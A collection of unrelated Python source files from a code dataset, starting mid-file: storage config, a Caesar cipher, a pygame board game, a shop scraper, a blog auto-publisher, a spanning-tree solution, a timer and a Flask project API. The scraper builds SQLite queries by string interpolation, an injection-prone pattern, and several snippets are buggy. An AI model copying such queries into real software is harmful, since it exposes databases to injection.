g.write(str(size) + ' ' + name)\n\n            count = count +1\n\n\nallocfile.close()\n'''\n\n","sub_path":"scripts/qos/gen_job.py","file_name":"gen_job.py","file_ext":"py","file_size_in_byte":7612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"269132521","text":"# -*- conding: utf-8 -*-\n# This file contains configuration for storages\n# http://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html\n\nimport os\n\n# Backends ******************************************************\nDEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'\nSTATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage'\n\n# AWS Account ***************************************************\nAWS_ACCESS_KEY_ID = os.getenv('AWS_KEY')\nAWS_SECRET_ACCESS_KEY = os.getenv('AWS_SECRET')\n\n\n# Basic Config ***************************************************************************\n# If set to True the bucket specified in AWS_STORAGE_BUCKET_NAME is automatically created.\nAWS_AUTO_CREATE_BUCKET = True\n\n# Setting AWS_QUERYSTRING_AUTH to False to remove query parameter authentication from generated URLs.\n# This can be useful if your S3 buckets are public.\nAWS_QUERYSTRING_AUTH = False\n\n# By default files with the same name will overwrite each other. Set this to False to have extra characters appended.\nAWS_S3_FILE_OVERWRITE = True\n\nAWS_S3_OBJECT_PARAMETERS = {\n    'CacheControl': 'max-age=86400',\n}\n\nAWS_S3_SIGNATURE_VERSION = 's3v4'\n\n# A path prefix that will be prepended to all uploads, default ''\nAWS_LOCATION = ''\n\n\n# Bucket config *************************************************************************\nAWS_S3_HOST = 's3.ap-northeast-2.amazonaws.com'\nAWS_STORAGE_BUCKET_NAME = 'dibiup-static-v2'\nAWS_S3_CUSTOM_DOMAIN = '{0}.s3.ap-northeast-2.amazonaws.com'.format(AWS_STORAGE_BUCKET_NAME)\nSTATIC_URL = \"http://%s/static/\" % AWS_S3_CUSTOM_DOMAIN\nMEDIA_URL = \"http://%s/user_static/\" % AWS_S3_CUSTOM_DOMAIN\nMEDIA_ROOT = os.path.join(AWS_S3_CUSTOM_DOMAIN, 'user_static')\n\n","sub_path":"dibiup_server_v2/dibiup_server/plugins/storages/storages_config.py","file_name":"storages_config.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"8607929","text":"text = input(\"Enter plain text:\")\nkey = input(\"Enter key:\")\nencry = []\nfor ch in range(len(text)):\n    e = ord(text[ch])\n    if(e>64 and e<91):\n        e = ord(text[ch])+int(key)\n        if(e>90):\n            set = e-90\n            e = set + 64\n        encry.append(chr(e))\n    if(e>96 and e<123):\n        e = ord(text[ch])+int(key)\n        if(e>122):\n            set = e-122\n            e = set + 96\n        encry.append(chr(e))\n#for enc in encry:\n    \nprint(\"Encrypted Message:\")\nprint(encry)\n\ndecry = []\nfor ch in range(len(encry)):\n    d = ord(encry[ch])\n    if(d>64 and d<91):\n        d = ord(encry[ch])-int(key)\n        if(d<65):\n            set = 65 - d\n            d = 91-set\n        decry.append(chr(d))\n    if(d>96 and d<123):\n        d = ord(encry[ch])-int(key)\n        if(d<97):\n            set = 97 - d\n            d = 123-set\n        decry.append(chr(d))\nprint(\"Decrypted Message:\")\nprint(decry)  ","sub_path":"Practical-1/caesar_cipher.py","file_name":"caesar_cipher.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"459252943","text":"import os\nimport sys\nimport time\nimport pygame\nimport traceback\nimport subprocess\n\nfrom Character import *\nfrom BG import *\n\nturn = 0\nindex = 0\nnowTurn = 0\n\nplayers = []\n\nos.system(\"sudo ./AudioRepeat.sh BGM/Egypt_Theme.mp3 &\")\npygame.init()\n\ncrashed = False\n\ndef GetDice(turn):\n    subprocess.run(['python3', \"RF.py\", str(turn)])\n\n    f = open(\"result\", 'r')\n    result = f.readlines()\n    print(result)\n    while int(result[0]) != turn:\n        time.sleep(0.001)\n\n    return result\n\ndef GetTraceBackStr():\n    lines = traceback.format_exc().strip().split(\"\\n\")\n    rl = [lines[-1]]\n    lines = lines[1:-1]\n    lines.reverse()\n\n    for i in range(0, len(lines), 2):\n        rl.append(\"^\\t%s at %s\" % (lines[i].strip(), lines[i+1].strip()))\n\n    return '\\n'.join(rl)\n\ntry:\n    InitBackground()\n    while not crashed:\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                crashed = True\n\n            if event.type is pygame.KEYDOWN:\n\n                if event.key == pygame.K_f:\n                    ChangeFULL()\n\n                if event.key == pygame.K_c:\n                    ChangeCONN(False)\n\n                if event.key == pygame.K_q:\n                    crashed = True\n\n                if event.key == pygame.K_d:\n                    flag_DOOR = ((flag_DOOR % 4) + 1) * -1\n                    SetDoor(flag_DOOR)\n\n                if event.key == pygame.K_1:\n                    if not flag_RED:\n                        flag_RED = True\n                        players.append(Player(index, \"Red\"))\n                        index = index + 1\n\n                if event.key == pygame.K_2:\n                    if not flag_BLUE:\n                        flag_BLUE = True\n                        players.append(Player(index, \"Blue\"))\n                        index = index + 1\n\n                if event.key == pygame.K_3:\n                    if not flag_GREEN:\n                        flag_GREEN = True\n                        players.append(Player(index, \"Green\"))\n                        index = index + 1\n\n                if event.key == pygame.K_4:\n                    if not flag_PURPLE:\n                        flag_PURPLE = True\n                        players.append(Player(index, \"Purple\"))\n                        index = index + 1\n\n                if event.key == pygame.K_t:\n                    if index != 0:\n                        nowTurn = nowTurn + 1\n                        nowTurn = nowTurn % (index)\n\n            elif event.type is pygame.KEYUP:\n                if event.key == pygame.K_c:\n                    ChangeCONN(True)\n\n        Frame(players)\n        pygame.display.update()\n\n        for player in players:\n            player.CheckTurn(nowTurn)\n\nexcept Exception as e:\n    print(GetTraceBackStr())\n\nfinally:\n    os.system(\"sudo killall AudioRepeat.sh\")\n    os.system(\"sudo killall mpg123\")\n    os.system(\"sudo killall python3\")\n    pygame.quit()\n","sub_path":"Board/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"341319583","text":"from sys import stdin, stdout\nfrom Shop.shopFacade import get_product, get_json_product\nfrom Utils.shopDataTypes import ProductProperties, TitleProperties, PriceProperties, ShopWebsiteInfo\nfrom os import rename, getcwd\nfrom os.path import join\nimport sqlite3\nfrom datetime import date\nfrom Utils.shopUtils import store_product, store_shop_website, get_main_url\nfrom Utils.databaseConsts import SHOP_WEBSITES, SHOP_TITLE_IDS, SHOP_IMG_IDS\n\nshopInfos = {}\n\nlast_product = None\nlast_shopInfo = None\nconnection = None\nunknown_website = False\n\ndef get_shop_info(main_url):\n    shopInfo = shopInfos.get(main_url, None)\n\n    if(not shopInfo):\n        cursor = connection.cursor()\n        infos = cursor.execute(f\"SELECT * FROM {SHOP_WEBSITES} WHERE url = '{main_url}'\").fetchone()\n        if(infos):\n            titleIds = cursor.execute(f\"SELECT tag_id FROM {SHOP_TITLE_IDS} WHERE website_id={infos[0]}\").fetchall()\n            titleIds = set(map(lambda x: x[0], titleIds)) if titleIds else None\n            imgIds = cursor.execute(f\"SELECT tag_id FROM {SHOP_IMG_IDS} WHERE website_id={infos[0]}\").fetchall()\n            imgIds = set(map(lambda x: x[0], imgIds)) if imgIds else None\n            \n            shopInfo = ShopWebsiteInfo.from_db(*infos, titleIds, imgIds)\n\n    return shopInfo\n\ndef simple():\n    url = stdin.readline().rstrip(\"\\n\")\n\n    main_url = get_main_url(url)\n\n    last_product, last_shopInfo = get_product(url, main_url)\n\n    print(get_json_product(last_product, last_shopInfo.url_id, last_shopInfo.name))\n    stdout.flush()\n\ndef handle_item():\n    url = stdin.readline().rstrip(\"\\n\")\n    global last_product, last_shopInfo, unknown_website\n\n    main_url = get_main_url(url)\n    shopInfo = get_shop_info(main_url)\n    unknown_website = False if shopInfo else True\n    if(shopInfo):\n        shopInfos[main_url] = shopInfo\n\n    last_product, last_shopInfo = get_product(url, main_url, shopInfo)\n\n    print(get_json_product(last_product, last_shopInfo.url_id, last_shopInfo.name))\n    stdout.flush()\n\ndef handle_show_item():\n    print(get_json_product(last_product, last_shopInfo.url_id, last_shopInfo.name))\n    stdout.flush()\n\ndef handle_save_item():\n    website_id = None\n    if(last_product and last_shopInfo):\n        cursor = connection.cursor()\n\n        if(unknown_website): \n            store_shop_website(cursor, last_shopInfo, getcwd())\n            shopInfos[last_shopInfo.url] = last_shopInfo\n        \n        website_id = last_shopInfo.website_id\n        store_product(cursor, last_product, last_shopInfo)\n        \n        connection.commit()\n\n    print(website_id)\n    stdout.flush()\n\ntable = {\n    \"get_item\": handle_item,\n    \"show_last_item\": handle_show_item,\n    \"save_item\": handle_save_item,\n    \"simple\": simple\n}\n\ndef get_in():\n    message = stdin.readline()\n    return message.rstrip(\"\\n\")\n\ndef main():\n    with sqlite3.connect(\"shopTeste.sqlite\") as conn:\n        global connection\n        connection = conn\n        while(True):\n            opt = get_in()\n            if(opt != \"exit\"):\n                if(opt in table): table[opt]()\n            else: \n                print(\"exit\")\n                break\n        \n\nif __name__ == \"__main__\":\n    main()","sub_path":"engine/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"439926066","text":"from pydocx import PyDocX\nimport sys, os, time, shutil, docx\n\ndef git_push():\n    os.system('git add .')\n    os.system(\"git commit -m'backup'\")\n    os.system('git push')\n\ndef rename(str):\n    new_str = ''\n    index = 0\n    for i in str:\n        if str[index] == '.' and str[index + 1] == 'd' and str[index + 2] == 'o' and str[index + 3] == 'c' and str[index + 4] == 'x':\n            break\n        new_str  = new_str + i\n        index += 1\n    return new_str\n\ndef main():\n    file = \"../../../../Desktop/blog\"\n    before = dict ([(f, None) for f in os.listdir (file)])\n    while True:\n        time.sleep(1)\n        after = dict([(f, None) for f in os.listdir(file)])\n        added = [f for f in after if not f in before]\n        removed = [f for f in before if not f in after]\n\n        if added:\n            print(\"Added:\", \", \".join(added))\n\n            #get(Date)\n            date = time.strftime(\"%m-%d-%Y %H:%M\", time.localtime())\n            print(date)\n\n            #get(Header Lead Label)\n            doc = docx.Document(file + \"/\" + \" \".join(added))\n            fullText = []\n            header = doc.paragraphs[0].text\n            label = doc.paragraphs[2].text\n            lead = doc.paragraphs[4].text\n            print(header)\n            print(label)\n            print(lead)\n            type(lead)\n\n            name = rename(\" \".join(added))\n\n            #make contents\n            html = PyDocX.to_html(file + \"/\" + \" \".join(added))\n            f = open(\"article/\" + name + \".html\", 'w', encoding=\"utf-8\")\n            f.write(html)\n            f.close()\n\n            #make pages\n            shutil.copy(\"blog-example.html\",\"article/bolg-\" + name + \".html\")\n            temp = open(\"article/bolg-\" + name + \".html\", \"r+\")\n            str = '<div class=\"content\"><object class=\"text\" data=\"' + name + '.html\"></object></div></body></html>'\n            temp.seek(0, 2)\n            temp.write(str)\n            temp.close()\n\n            #get(URL)\n            url = \"article/bolg-\" + name + \".html\"\n            print(url)\n\n            #write all elements(Date URL Header Label Lead)\n            blogIndex = open(\"blog-index.txt\",'a+')\n            DUHLL = date + \"⊠\" + url + \"⊠\" + header + \"⊠\" + label + \"⊠\" + lead + \"⊠\" + \"\\n\"\n            blogIndex.write(DUHLL)\n            blogIndex.close()\n\n            after = dict([(f, None) for f in os.listdir(file)])\n\n            print('test...................')\n\n\n            indexHtml = '<!DOCTYPE html><html lang=\"en\" dir=\"ltr\"><head><meta charset=\"utf-8\"><meta name=\"viewport\" content=\"width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no\"><title>Blog</title><link rel=\"stylesheet\" href=\"../css/reset.css\"><link rel=\"stylesheet\" href=\"../css/sub-pages.css\"><link rel=\"stylesheet\" href=\"../font-awesome/css/font-awesome.min.css\"></head><body><head><nav><ul><li class=\"logo\"><a href=\"../index.html\">Hao</a></li><li id=\"sidebar_trigger\"><a href=\"#\">MENU<a></li></ul></nav></head><div class=\"content\"><div class=\"function\"><p>test..........</p></div>'\n\n            for line in open(\"blog-index.txt\", \"r\"):\n                tempDate = ''\n                tempURL = ''\n                tempHeader = ''\n                tempLabel = ''\n                tempLead = ''\n                for i in line[0:[i for i, x in enumerate(line) if x == '⊠'][0]]:\n                    tempDate = tempDate + i\n                print(tempDate)\n                for i in line[[i for i, x in enumerate(line) if x == '⊠'][0] + 1:[i for i, x in enumerate(line) if x == '⊠'][1]]:\n                    tempURL = tempURL + i\n                print(tempURL)\n                for i in line[[i for i, x in enumerate(line) if x == '⊠'][1] + 1:[i for i, x in enumerate(line) if x == '⊠'][2]]:\n                    tempHeader = tempHeader + i\n                print(tempHeader)\n                for i in line[[i for i, x in enumerate(line) if x == '⊠'][2] + 1:[i for i, x in enumerate(line) if x == '⊠'][3]]:\n                    tempLabel = tempLabel + i\n                print(tempLabel)\n                for i in line[[i for i, x in enumerate(line) if x == '⊠'][3] + 1:[i for i, x in enumerate(line) if x == '⊠'][4]]:\n                    tempLead = tempLead + i\n                print(tempLead)\n                tempStr = '<article class=\"post\"><header><h1><a class=\"header\" href=\"' + tempURL + '\">' + tempHeader + '</a></h1><p><time datetime=\"' + tempDate + '\">' + tempDate + '</time></p></header><div class=\"lead\"><p>' + tempLead + '</p></div><a class=\"read-more\" href=\"' + tempURL + '\">read more</a></article>'\n                print(tempStr)\n                indexHtml = indexHtml + tempStr\n            indexHtml = indexHtml + '</div></div><footer><ul class=\"share\"><li><a href=\"https://github.com/Chen-H115?tab=repositories\" style=\"color: #ffffff\"><i class=\"fa fa-2x fa-github\"></i></a></li><li><a href=\"https://www.youtube.com/channel/UC-K_8rTxmXDwa1g9oXszp3Q?view_as=subscriber\" style=\"color: #ffffff\"><i class=\"fa fa-2x fa-youtube-square\"></i></a></li><li><a href=\"https://www.instagram.com/c8514h115/\" style=\"color: #ffffff\"><i class=\"fa fa-2x fa-instagram\"></i></a></li></ul><div class=\"copy-right\">&copy Hao -- 2019</div></footer><div class=\"mask\"></div><div id=\"sidebar\"><ul><li><a href=\"../project/project-index.html\">Project</a></li><li><a href=\"https://www.youtube.com/channel/UC-K_8rTxmXDwa1g9oXszp3Q?view_as=subscriber\">Video</a></li><li><a href=\"blog-index.html\">Blog</a></li></ul></div><script type=\"text/javascript\" src=\"../js/jquery-3.3.1.min.js\"></script><script type=\"text/javascript\" src=\"../js/main.js\"></script></body></html>'\n            temp = open(\"blog-index.html\", \"w\")\n            temp.write(indexHtml)\n            temp.close()\n\n            git_push()\n        if removed:\n            print(\"Removed:\", \", \".join(removed))\n\n        before = after\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"blog/auto-push.py","file_name":"auto-push.py","file_ext":"py","file_size_in_byte":5875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"75433083","text":"#Uses python3\nimport sys\nimport math\nfrom collections import defaultdict\nfrom collections import defaultdict\n\n\nclass Node:\n    '''\n    A simple node class which stores rank and parent, for use in Disjoint Sets.\n    By default, the parent is set to itself, unless a new parent is added.\n    '''\n    def __init__(self, rnk, d):\n        self.rank = rnk\n        self.parent = self\n        self.data = d\n        self.size = 1\n\n\nclass DisjointSet:\n    '''\n    A disjoint set datastructure, for implementing union find operations.\n    '''\n\n    def __init__(self):\n        # The members dictionary hashes the value to the corresponding node\n        self.members = dict()\n\n    '''\n    Input: Value to be retrieved from sets.\n    Output: Node corresponding to the value if it is present, None otherwise.\n    '''\n    def get(self, val):\n        if val in self.members:\n            return self.members[val]\n        else:\n            return None\n\n    def make_set(self, val):\n        if val not in self.members:\n            # The rank is initially 0 since it is a new set\n            self.members[val] = Node(0, val)\n\n    '''\n    Takes input of a given node in the members dictionary.\n    Returns the root of its set.\n    '''\n    def find(self, n):\n        if n.parent != n:\n            self.members[n.data].parent = self.find(n.parent)\n        return n.parent\n\n    def union(self, n1, n2):\n        root_n1 = self.find(n1)\n        root_n2 = self.find(n2)\n\n        if root_n1 == root_n2:\n            return True\n        else:\n            if root_n1.rank > root_n2.rank:\n                self.members[root_n1.data].size += self.members[root_n2.data].size\n                self.members[root_n2.data].parent = self.members[root_n1.data]\n            elif root_n1.rank < root_n2.rank:\n                self.members[root_n2.data].size += self.members[root_n1.data].size\n                self.members[root_n1.data].parent = self.members[root_n2.data]\n            else:\n                self.members[root_n1.data].size += self.members[root_n2.data].size\n                self.members[root_n2.data].parent = self.members[root_n1.data]\n                self.members[root_n1.data].rank = root_n1.rank+1\ndef minimum_distance(x, y):\n    result = 0.\n    mapCoords = defaultdict()\n    distList = [] \n \n    #write your code here\n    ds  = DisjointSet()\n    for i in range(len(x)) :\n      mapCoords[i] = [x[i] , y[i]]\n      #rprint(\"i= %s %s , %s\" %(i,x[i],y[i]))\n      ds.make_set(i)\n      \n    for start in range(len(x)):\n      for end in range(start + 1 ,len(x)):\n        xstart,ystart = mapCoords[start][0],mapCoords[start][1]\n        xend,yend     = mapCoords[end][0],mapCoords[end][1]\n        dist = math.sqrt(math.pow(xstart - xend,2) + (math.pow(ystart - yend,2)))\n        distList.append([start,end,dist])\n    distList.sort(key=lambda x:x[2])\n    for edge in distList:\n        node1 = ds.get(edge[0])\n        node2 = ds.get(edge[1])\n        node1Parent = ds.find(node1)\n        node2Parent = ds.find(node2)\n        #rprint(\"---------------------\\n\")\n        #rprint(\"Before Node1Repr = %s Node2Repr = %s\" %(node1Parent.data,node2Parent.data))\n        if node1Parent != node2Parent:\n           result += edge[2]\n           ds.union(node1,node2)\n           #rprint(\"Edge = %s\" %(edge))\n\n           #rprint(\"After Node1Repr = %s Node2Repr = %s\" %(node1Parent.data,node2Parent.data))\n\n    return result\n\n\nif __name__ == '__main__':\n    input = sys.stdin.read()\n    data = list(map(int, input.split()))\n    n = data[0]\n    x = data[1::2]\n    y = data[2::2]\n    print(\"{0:.9f}\".format(minimum_distance(x, y)))\n","sub_path":"Graphs/Coursera/Assignments/week5_mst/1_connecting_points/connecting_points_solution.py","file_name":"connecting_points_solution.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"22620760","text":"#By Kay Towner\r\n\r\nprint(\"This method I found online and adjusted it to the equation.\")\r\nimport math\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#solve: d2 - (dxdt)**2 + x + 5\r\ndef dif(t=None, h=None, x=None, dxdt=None, d2 = None):\r\n    \"\"\"Differential equation to solve.\r\n    d2=leapfrogmethod, dxdt=thederivative=0\"\"\"\r\n    return -5 - x\r\n\r\nif __name__ == \"__main__\":\r\n    #VERIABLES:\r\n    h = 0.001 #step size\r\n    t = np.arange(0, 50, h) #time\r\n    x = 1 #initial condition (position)\r\n    dxdt = 0\r\n    \r\n    v = np.empty(int(h+1)) #velocity initial\r\n    x = np.empty(int(h+1))\r\n    x[0] = x\r\n    v[0] = 0\r\n    new = dif(x=x)\r\n\r\n    #Leapfrog:\r\n    for i in range(0, int(h+1)):\r\n        old = new\r\n        x[i] = x[i-1] + v[i-1]*h + (1/2)*(old)*h**2\r\n        new = dif(x=i)\r\n        v[i] = v[i-1] + (1/2)*(old + new)*h\r\n\r\n\r\n\r\n        print(\"test 1 v\", v)\r\n        print(\"test 2 x[i]:\", x[i])\r\n    #plt.plot(x, t)#x and y should be the same size\r\n    plt.xlabel('t')\r\n    plt.ylabel('t(x)')\r\n    #plt.show\r\n","sub_path":"frogtest.py","file_name":"frogtest.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"315650262","text":"# -*- coding: utf-8 -*-\n# 15/6/8\n# create by: snower\n\nimport time\nimport signal\nimport logging\ntry:\n    from Queue import Queue, Empty\nexcept ImportError:\n    from queue import Queue, Empty\n\n__time_out_callback = None\n__exit_callback = None\n__queues = Queue()\n__is_stop = False\n__current_time = int(time.mktime(time.gmtime()))\n\ndef exit_handler(signum, frame):\n    __queues.put((__exit_callback, tuple()), False)\n\ndef handler(signum, frame):\n    __queues.put((__time_out_callback, (int(time.mktime(time.gmtime())),)), False)\n\ndef reset():\n    global __time_out_callback, __exit_callback, __queues, __is_stop, __current_time\n    __time_out_callback = None\n    __exit_callback = None\n    __queues = Queue()\n    __is_stop = False\n    __current_time = int(time.mktime(time.gmtime()))\n\ndef start(callback, exit_callback):\n    global __time_out_callback, __exit_callback\n    __time_out_callback = callback\n    __exit_callback = exit_callback\n\ndef stop():\n    global __time_out_callback, __exit_callback, __is_stop\n    __time_out_callback = None\n    __exit_callback = None\n    __is_stop = True\n    logging.info(\"timer stoping\")\n\ndef loop():\n    signal.signal(signal.SIGHUP, exit_handler)\n    signal.signal(signal.SIGINT, exit_handler)\n    signal.signal(signal.SIGTERM, exit_handler)\n    signal.signal(signal.SIGALRM, handler)\n    signal.setitimer(signal.ITIMER_REAL, 1, 1)\n    logging.info(\"timer ready\")\n    while not __is_stop:\n        try:\n            callback, args = __queues.get(True, 1)\n            if callback:\n                callback(*args)\n        except Empty:\n            continue\n\ndef current():\n    return __current_time","sub_path":"forsun/timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"173187614","text":"#coding=utf-8\nfrom flask import jsonify\nfrom flask.ext.restful import Resource, reqparse\nfrom myapi import db, app\nfrom myapi.model.category import CategoryModel\nfrom myapi.model.project import ProjectModel\nfrom myapi.model.user import UserModel\nfrom myapi.model.bid import BidModel\nfrom myapi.model.enum import project_status, bid_status\n\nclass Project(Resource):\n    def get(self, projectid):\n        return ProjectModel.query.get(projectid).serialize()\n\n    def post(self):\n        post_parser = reqparse.RequestParser()\n        post_parser.add_argument('name', type=str, location='json', required=True)\n        post_parser.add_argument('timespan', type=str, location='json')\n        post_parser.add_argument('requirements', type=str, location='json')\n        post_parser.add_argument('bonus', type=int, location='json')\n        post_parser.add_argument('description', type=str, location='json')\n        post_parser.add_argument('bidderQualifiRequire', type=str, location='json')\n        post_parser.add_argument('bidderLocationRequire', type=str, location='json')\n        post_parser.add_argument('receipt', type=bool , location='json')\n        post_parser.add_argument('receiptDescription', type=str, location='json')\n        post_parser.add_argument('userid', type=int, location='json', required=True)\n        post_parser.add_argument('cids', type=str, location='json', required=True)\n        args = post_parser.parse_args()\n\n        project = ProjectModel(args.name, \n            args.timespan,\n            args.requirements,\n            args.bonus,\n            args.description,\n            args.bidderQualifiRequire,\n            args.bidderLocationRequire,\n            args.receipt,\n            args.receiptDescription)\n\n        for id in args.cids.split(','):\n            category = CategoryModel.query.get(id)\n            project.categorys.append(category)\n\n        db.session.add(project)\n\n        user = UserModel.query.get(args.userid)\n        user.publishedProjects.append(project)\n        db.session.commit()\n        return project.serialize()\n\n    def put(self):\n        post_parser = reqparse.RequestParser()\n        post_parser.add_argument('id', type=int, location='json', required=True)\n        post_parser.add_argument('status', type=int, location='json', required=True)\n        args = post_parser.parse_args()\n        project = ProjectModel.query.get(args.id)\n        project.status = args.status\n        db.session.commit()\n        return project.serialize()\n\nclass ProjectOneStep(Resource):\n    def post(self):\n        post_parser = reqparse.RequestParser()\n        post_parser.add_argument('name', type=str, location='json', required=True)\n        post_parser.add_argument('buyerid', type=int, location='json', required=True)\n        post_parser.add_argument('sellerid', type=int, location='json', required=True)\n        post_parser.add_argument('cids', type=str, location='json', required=True)\n        args = post_parser.parse_args()\n\n        project = ProjectModel(args.name)\n        project.status = project_status.selectBidder\n\n        for id in args.cids.split(','):\n            category = CategoryModel.query.get(id)\n            project.categorys.append(category)\n\n        db.session.add(project)\n\n        buyer = UserModel.query.get(args.buyerid)\n        buyer.publishedProjects.append(project)\n\n        seller = UserModel.query.get(args.sellerid)\n        seller.wonProjects.append(project)\n\n        bid = BidModel()\n        bid.user = seller\n        bid.status = bid_status.selectBidder\n\n        #project = ProjectModel.query.get(args.projectid)\n        project.bidders.append(bid)\n\n        db.session.commit()\n\n        return project.serialize()\n\n\nclass UserPublishedProjects(Resource):\n    def get(self, page):\n        parser = reqparse.RequestParser()\n        parser.add_argument('userid', type=int, location='args', required=True)\n        parser.add_argument('status', type=int, location='args', default=0)\n        args = parser.parse_args()\n        projects = UserModel.query.get(args.userid).publishedProjects\n\n        if args.status:\n            projects = projects.filter_by(status = args.status)\n\n        projects = projects.paginate(page, app.config['POSTS_PER_PAGE'], False)\n        return jsonify(total = projects.total,\n            pages = projects.pages,\n            page = projects.page,\n            per_page = projects.per_page,\n            has_next = projects.has_next,\n            has_prev = projects.has_prev,\n            next_num = projects.next_num,\n            prev_num = projects.prev_num,\n            data=[e.serialize() for e in projects.items])\n\nclass UserParticipateProjects(Resource):\n    def get(self, page):\n        parser = reqparse.RequestParser()\n        parser.add_argument('userid', type=int, location='args', required=True)\n        parser.add_argument('status', type=int, location='args', default=0)\n        parser.add_argument('winner', type=str, location='args')\n        args = parser.parse_args()\n        bids = UserModel.query.get(args.userid).bidProjects\n\n        if args.status:\n            bids = bids.filter(BidModel.project.has(ProjectModel.status == args.status))\n        \n        if args.winner == 'isMe':\n            bids = bids.filter(BidModel.project.has(ProjectModel.winnerid == args.userid))\n\n        if args.winner == 'isNotMe':\n            bids = bids.filter(BidModel.project.has(ProjectModel.winnerid != args.userid))\n\n        bids = bids.paginate(page, app.config['POSTS_PER_PAGE'], False)\n        return jsonify(total = bids.total,\n            pages = bids.pages,\n            page = bids.page,\n            per_page = bids.per_page,\n            has_next = bids.has_next,\n            has_prev = bids.has_prev,\n            next_num = bids.next_num,\n            prev_num = bids.prev_num,\n            data=[e.serialize() for e in bids.items])\n\nfrom sqlalchemy import or_\nclass ProjectList(Resource):\n    def get(self, page):\n        get_parser = reqparse.RequestParser()\n        get_parser.add_argument('cid', type=int, location='args', default=0)\n        get_parser.add_argument('keyword', type=str, location='args')\n        get_parser.add_argument('status', type=int, location='args', default=0)\n        get_parser.add_argument('orderby', type=int, location='args', choices=range(3), default=0)\n        get_parser.add_argument('desc', type=int, location='args', choices=range(3), default=0)\n        args = get_parser.parse_args()\n        \n        projects = ProjectModel.query\n\n        if args.cid:\n            projects = projects.filter( \\\n                or_( \\\n                    ProjectModel.categorys.any(CategoryModel.id == args.cid), \\\n                    ProjectModel.categorys.any(CategoryModel.parent_id == args.cid), \\\n                    ProjectModel.categorys.any(CategoryModel.parent.has(CategoryModel.parent_id == args.cid))\n                    ) \\\n                )\n\n        if args.keyword:\n            projects = projects.filter(ProjectModel.name.contains(args.keyword))\n\n        if args.status:\n            projects = projects.filter(ProjectModel.status == args.status)\n            \n        if args.orderby == 1:\n            if args.desc == 1:\n                projects = projects.order_by(ProjectModel.publishDate.desc())\n            else:\n                projects = projects.order_by(ProjectModel.publishDate.asc())\n        if args.orderby == 2:\n            if args.desc == 1:\n                projects = projects.order_by(ProjectModel.bonus.desc())\n            else:\n                projects = projects.order_by(ProjectModel.bonus.asc())\n\n        projects = projects.paginate(page, app.config['POSTS_PER_PAGE'], False)\n\n        return jsonify(total = projects.total,\n            pages = projects.pages,\n            page = projects.page,\n            per_page = projects.per_page,\n            has_next = projects.has_next,\n            has_prev = projects.has_prev,\n            next_num = projects.next_num,\n            prev_num = projects.prev_num,\n            data=[e.serialize() for e in projects.items])\n\n","sub_path":"myapi/resources/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":8016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"136366630","text":"__author__ = 'Arvie'\n\nfrom State.State import State\n\nimport pygame\n\nimport math\n\n\n# a vector class just to see what it is like to make one myself\nclass Vec2:\n    def __init__(self, v=None):\n        if v is None:\n            self.v = [0, 0]\n        else:\n            self.v = [v[0], v[1]]\n\n    def __add__(self, other):\n        return Vec2([self.v[0] + other.v[0], self.v[1] + other.v[1]])\n\n    def __sub__(self, other):\n        return Vec2([self.v[0] - other.v[0], self.v[1] - other.v[1]])\n\n    # scaler multiplication\n    def __mul__(self, other):\n        return Vec2([self.v[0] * other, self.v[1] * other])\n\n    def dot(self, v2):\n        return (self.v[0] * v2.v[0]) + (self.v[1] * v2.v[1])\n\n    def norm(self):\n        n = math.sqrt(self.v[0]**2 + self.v[1]**2)\n        return [self.v[0]/n, self.v[1]/n]\n\n\n# Overall game settings\nclass GameSettings:\n    def __init__(self):\n        self.ball_start_speed = 1\n\n\nclass HitableObject:\n    def __init__(self):\n        self.xy = Vec2()\n        self.w = 0\n        self.h = 0\n        self.vel = Vec2()\n        self.inv_mass = 0   # mass of zero is unmovable i.e. infinite mass\n        self.restitution = 1\n\n    # code modified from\n    # http://gamedevelopment.tutsplus.com/tutorials/how-to-create-a-custom-2d-physics-engine-the-basics-and-impulse-resolution--gamedev-6331\n    def collision(self, other_obj):\n        # Calculate relative velocity\n        rv = Vec2(other_obj.vel - self.vel)\n\n        # Calculate relative velocity in terms of the normal direction\n        vel_along_normal = rv.dot(self.vel.norm)\n\n\n        # Do not resolve if velocities are separating\n        if vel_along_normal > 0:\n            return\n\n        # Calculate restitution\n        e = min(self.restitution, other_obj.restitution)\n\n        # Calculate impulse scalar\n        j = -(1 + e) * vel_along_normal\n        j /= self.inv_mass + other_obj.inv_mass\n\n        # Apply impulse\n        impulse = Vec2(self.vel.norm * j)\n        self.vel -= self.inv_mass * impulse\n        other_obj.vel += other_obj.inv_mass * impulse\n\n\nclass Paddle(HitableObject):\n    'todo'\n\n\nclass Ball(HitableObject):\n    'Todo'\n\n    def server(self):\n        'TODO'  # resets ball\n\n\nclass Wall(HitableObject):\n    